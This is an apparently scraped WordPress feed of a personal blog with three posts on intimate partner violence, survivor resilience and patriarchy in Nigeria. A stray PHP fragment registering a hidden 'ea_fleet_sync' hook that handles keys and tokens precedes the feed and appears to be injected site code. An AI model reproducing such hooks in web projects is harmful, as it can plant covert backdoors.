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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Domestic Violence – Tobioloyede https://tobioloyede.com Delving into daily life issues to foster change Thu, 29 Dec 2022 10:05:55 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://tobioloyede.com/wp-content/uploads/2022/12/cropped-Beige-Elegant-Personal-Business-Card-2-32x32.png Domestic Violence – Tobioloyede https://tobioloyede.com 32 32 Victim or Survivor https://tobioloyede.com/victim-or-survivor/ https://tobioloyede.com/victim-or-survivor/#respond Mon, 11 Apr 2022 04:00:00 +0000 https://tobioloyedesblog.wordpress.com/?p=515 Before we dig in, are you a victim or survivor, or do you know anyone who might fall into one of the categories? I did a thing in 2020, I studied the resilience of some women in Southwest Nigeria who were survivors of Intimate Partner Violence/Domestic Violence. I say survivors because they moved from being victims to survivors and they preferred to be referred to as Survivors. Note, I am not suggesting that males do not experience abuse in the homes, workplaces, or in relationships, my focus at the time was on married women. One important question you might want to ask me is “why women or is it because you’re a woman? But you’re not even married.

To answer the question of Why?

Experiences and preconceptions shape us into the people we are now as I have found in my journey. Wendy Sharer states, “I can encourage new scholars to find topics via their lived experiences because those experiences help us to recognize what is significant, even if we are not able to articulate a rational, ‘neutral’ reason for that significance.” Growing up was not or does not only remain traumatic for me, but it also drives my interest in social research on family and relationships among others. My interest draws, not only from lived experiences, but also from general intellectual interests. I hope you understand my justification.

I know what most researchers might basically focus on is the effect the abuse has on individuals, but I took a step forward to investigate how they cope despite the stress they undergo in their relationships. It is noteworthy that the phenomenon of domestic violence goes beyond a private family issue to a critical social and psychological one.

At the time of the research, most of my participants had left the abusive marriages and had either moved on to another marriage, done better with their lives/careers, or remained single parents. Unfortunately, the dents that the abuse had on them remained for some even if it was not strong.  They spoke about their experiences, it was traumatizing for me as a listener/researcher and retraumatizing for them as they share their stories. There were times we had to stop the interview for some participants so they could cry, yes let it out by crying.

Why am I writing all these? I am writing because when I hear stories of such abuse, I am pained, I am touched, and I always wished I could do more. Our upbringing as individuals, our decisions as individuals, our training as parents, our pieces of advice as friends, our government, our culture, our leaders (Church, Mosque, anywhere), our social constructs on family matters, relationships, parenthood, and so on play a significant role in what we see in our society today. For some people, a few of these combinations affect them, while for others all of these affect them.

I have heard “I stayed, or I am staying because of my children,” my dear if you die, the children will still live, and you would not want them going through life trying to live without you. If you are worried about what society will say, no doubt they will talk, but it will be temporal.

My take on what the victim might do

  • Believe in yourself because the abuser always wants you to feel unworthy or small about yourself.
  • Seek voices of encouragement-speak up, seek help
  • Set a boundary line- it won’t be easy trust me (boundaries are not an easy thing for some of us). You just might need to cut the abuser off to live your life.

For those who are not victims

  • Listen-I say this emphatically, listen to them, take them seriously
  • Act with wisdom
  • Be honest-not criticize
  • In all, respect their boundaries

I say my take because it is my suggestion, my opinion.

Here’s a link to My Research on IPV to read my previous research. It’s a long read but you can use the table of content to go to chapters you find interesting.

“It is not the bruises on the body that hurt. It is the wounds of the heart and the scars on the mind.”

— Aisha Mirza
]]> https://tobioloyede.com/victim-or-survivor/feed/ 0 What Do You Know about Experiencing Violence? https://tobioloyede.com/what-do-you-know-about-experiencing-violence/ https://tobioloyede.com/what-do-you-know-about-experiencing-violence/#respond Mon, 06 Dec 2021 15:32:33 +0000 https://tobioloyedesblog.wordpress.com/?p=479
Source: Trauma Therapy for Healing

As a master’s student, I was convinced that I wanted to research into the lives of women who had or are experiencing intimate partner violence or domestic violence. You may be wondering why such an area despite the numerous grey research areas available. I say boldly that my personal experiences and intellectual interests captivated me.

Having listened to victims’ stories, used them for my research by giving them a voice, I would think that would be it. One would think I have my thesis already and I can probably forget or move on like that was just a phase that could appear like it was never there. Remember, I mentioned personal experiences, it remains some sort of trauma that has stuck with me since I listened to their stories (this can be both secondary trauma and vicarious trauma).

Wondering why I am writing this, I recently noticed myself slightly changing. I may not be one that is super audible when it comes to issues of domestic violence, IPV, or child abuse, but it remains a painful and significant part of me. The idea that someone who claims to love you (or even a place you call home, which is supposed to be a haven but is not) is the same one who intentionally hurt you is hard to wrap one’s mind around.

As a young girl, I had seen many images of what IPV/domestic violence looks like. From images of battered and bruised individuals to stories that had been told. Trust me, my research interest is valid. Recently, I have become a somewhat angry person when people talk or take likely the issues of violence. To an extent that whenever I see movies with domestic violence/IPV scenes, I take it so seriously that anyone around me would question why I am so serious when it is just a movie. Personally, it goes beyond just a storyline, it is a form of literature, and it cannot be overemphasized that it is a reflection of humanity; our experiences and opinions.

Kudos to everyone out there pushing for justice, recovery, and a sane society via help organizations, non-profits, government organizations, and so on who take walks and talks for this cause. It is with humility that I say this, “I hope you know that the scars and trauma from experiencing violence go beyond taking walks, wearing customized clothing, carrying placards or banners, or sharing even pamphlets. It is intense and immeasurable.” I hope that the next time you want to do any of those, that you deeply have a sense of understanding.

Then again I ask, “What do you know about people who have or are experiencing domestic violence or intimate partner violence or even child abuse?”…think about it.

“We each survive in our own way.”
― Sarah J. Maas

]]> https://tobioloyede.com/what-do-you-know-about-experiencing-violence/feed/ 0 Anger as a Response to Intimate Partner Violence in Nigeria {Part 1} https://tobioloyede.com/anger-as-a-response-to-intimate-partner-violence-in-nigeria-part-1/ https://tobioloyede.com/anger-as-a-response-to-intimate-partner-violence-in-nigeria-part-1/#respond Tue, 08 Dec 2020 01:46:44 +0000 https://tobioloyedesblog.wordpress.com/?p=348

https://www.google.com/url?sa=i&url=https%3A%2F%2Fguardian.ng%2Fnews%2Fokei-odumakin-wants-violence-against-women-girls-stopped%2F&psig=AOvVaw1AMqcG24c3R2V9ZrUL5wEd&ust=1607476227118000&source=images&cd=vfe&ved=0CAIQjRxqFwoTCPjlpfaZve0CFQAAAAAdAAAAABAP

I am angry, yet unapologetic about it. We tend to think of anger as an abominable, negative emotion, but research finds that anger is not bereft of positive sides. My anger is a motivating force in the form of positive energy geared towards fighting against all forms of intimate partner violence. Domestic violence is a global phenomenon that is manifested in all strata of the society, cutting across religious, political, racial, economic, and cultural spectrums. It is noteworthy that domestic violence is an umbrella term with which intimate partner violence (IPV) is a part. Scholars such as Collins Nwabunike and Eric Tenkorang maintain that most Nigerian women have experienced domestic violence irrespective of the ethnic group and the part of the country in which they reside.[1] However, the Southwest region is the focus of this post, it does not mean that is the only region where intimate partner violence is rampant as it is realizable in other regions of the country and the world at large. Violence in the family comprises social, mental, and psychological problems with adverse consequences for survivors. It leads to changes in the social and psychological functioning of the survivors. My anger is mainly for the imposition and the infringement of the human rights of women (this is not to say that men themselves are not victims, but violence against women is more rampant and that it the focus of this post). If you feel uncomfortable with the denial and subjugation that women are forced to undergo, therefore my anger (energy) and yours can be used to tackle violence against women in all forms.

As in most other African countries, Nigeria is one with high prevalence of this phenomenon and the abused women are culturally expected to be totally submissive to their husbands. This norm has brainwashed women to the extent that they accept and justify the abuse perpetrated on them by their spouses.  Nwabunike and Tenkorang give an example of the Tiv tribe of Nigeria who are of the belief that wife battering is an indication of love, and the women have been fraternized to accept and support it.[2] This shows how women are violated by their spouses and are left to endure it. Violence in the family comprises social, mental, and psychological problems with adverse consequences for survivors. It leads to changes in the social and psychological functioning of the survivors.

The imposition and the infringement of their human rights raises the question of how female survivors in Nigeria cope with such adversity and the effects of gendered trauma. Most researchers find that female Nigerian survivors of abuse are strong despite the harsh conditions in which they find themselves. I argue primarily that they exemplify different coping mechanisms to uphold and recreate their lives through resilience. Also, that their resilience is not just a means of being quiet due to non-disclosure, but hidden strength. Importantly, they do not only depict hidden strength, but also develop agency and empower themselves irrespective of the structures (gender, class, customs etc.) that limit them.

The menace of domestic violence with a focus on intimate partner violence is a global problem that occurs not only in Nigeria, which is a developing country, but also in developed countries. It is strengthened by a culture which allows women to be subordinate in the family, thereby giving ultimate power to men. It is a widespread issue that shows little or no sign of alleviation and the forms in which it takes include physical, sexual, emotional, and mental. The Nigerian Government is beginning to investigate it, but the situation seems unattended to because of the patriarchal structure of the society which leaves these women at the receiving end. A vivid example is the recent case of one Mr. Pius Angbo (a Channels TV reporter) who was called out by his wife (Ifeanyi Angbo) over a long history of battering in their six years of marriage. In sum, the Governor Samuel Ortom of Benue State intervenes and reconciles the couple. What I see at play or questions that arise are that “Did or will he be convicted for his crimes? “Will the wife/husband be made to see a therapist?” among others.

Allan Johnson affirms that a patriarchal society is one that bestows privileges and power to men, thereby allowing for male domination.[3] This, therefore, creates inequality between men and women. Men tend to fill top positions across all institutions ranging from political, social, and religious settings. Nigerian female survivors of intimate partner violence are encouraged to accept their fate as it is taken as a normal phenomenon as the society stigmatizes any woman who attempts divorce or separation. Catherine Oluyemo and Tolulope Ola also assert that patriarchy allows for the subjugation and subservience of women and as such, leads to the infringement of their rights.[4] Interestingly, survivors are expected to strive on in the abusive relationship like nothing wrong ever happened or is happening. This affirms how the societal inequality has eaten deep into the family which naturally should serve as a haven. Generally, the family is known to be the basic unit of the society with a strong tie, but it is disheartening that violence erupts from it. Patricia Hill Collins maintains that “one dimension of family as a privileged exemplar of intersectionality lies in how it reconciles the contradictory relationship between equality. . . the traditional family ideally projects a model of equality.”[5] She argues that family units serve as an instrument for the violation of women. The intersectionality that arises from the family unit leaves one questioning the idea of family as a setting where love erupts, and security abounds. Research suggests that the issue of women being violated and subjugated in society is an outcome of a longstanding belief and a global idea that men are superior to women. Therefore, I argue that gender inequality is the basis for all forms of violence against women in the society.

[To be continued…]

https://www.google.com/url?sa=i&url=https%3A%2F%2Fnollyculture.blogspot.com%2F2018%2F01%2Fnigerian-marriages-and-trauma-of.html&psig=AOvVaw1AMqcG24c3R2V9ZrUL5wEd&ust=1607476227118000&source=images&cd=vfe&ved=0CAIQjRxqFwoTCLCB4Pibve0CFQAAAAAdAAAAABAK

BIBLIOGRAPHY

Silove, Derrick & Brooks, Robert & Bateman-Steel, Catherine & Steel, Zachary & Hewage, Kalhari & Rodger, James & Soosay, Ian. (2009). Explosive anger as a response to human rights violations in post-conflict Timor-Leste. Social science & medicine (1982). 69. 670-7. 10.1016/j.socscimed.2009.06.030.

[1] “Domestic and Marital Violence Among Three Ethnic Groups in Nigeria.” Journal of Interpersonal Violence 32, no. 18 (September 2017): 2751. https://doi:10.1177/0886260515596147 .

[2] Ibid., 2752.

[3] The Gender Knot: Unraveling Our Patriarchal Legacy. Philadelphia: Temple University Press, (1997): 5 https://search-ebscohost-com.iris.etsu.edu:3443/login.aspx?direct=true&AuthType=cookie,ip,url,uid,athens&db=nlebk&AN=51281&site=ehost-live

[4] “The Rights of Nigerian Women In A Patriarchal Society: Implication For Development.” Journal of Research in Gender Studies, 4, no. 2, (2014): 375. https://login.iris.etsu.edu:3443/login?url=https://search.proquest.com/docview/1645383659?accountid=10771

[5] “It’s All in the Family: Intersections of Gender, Race, and Nation.” Hypatia 13, no. 3 (1998): 64. http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.457.6652&rep=rep1&type=pdf

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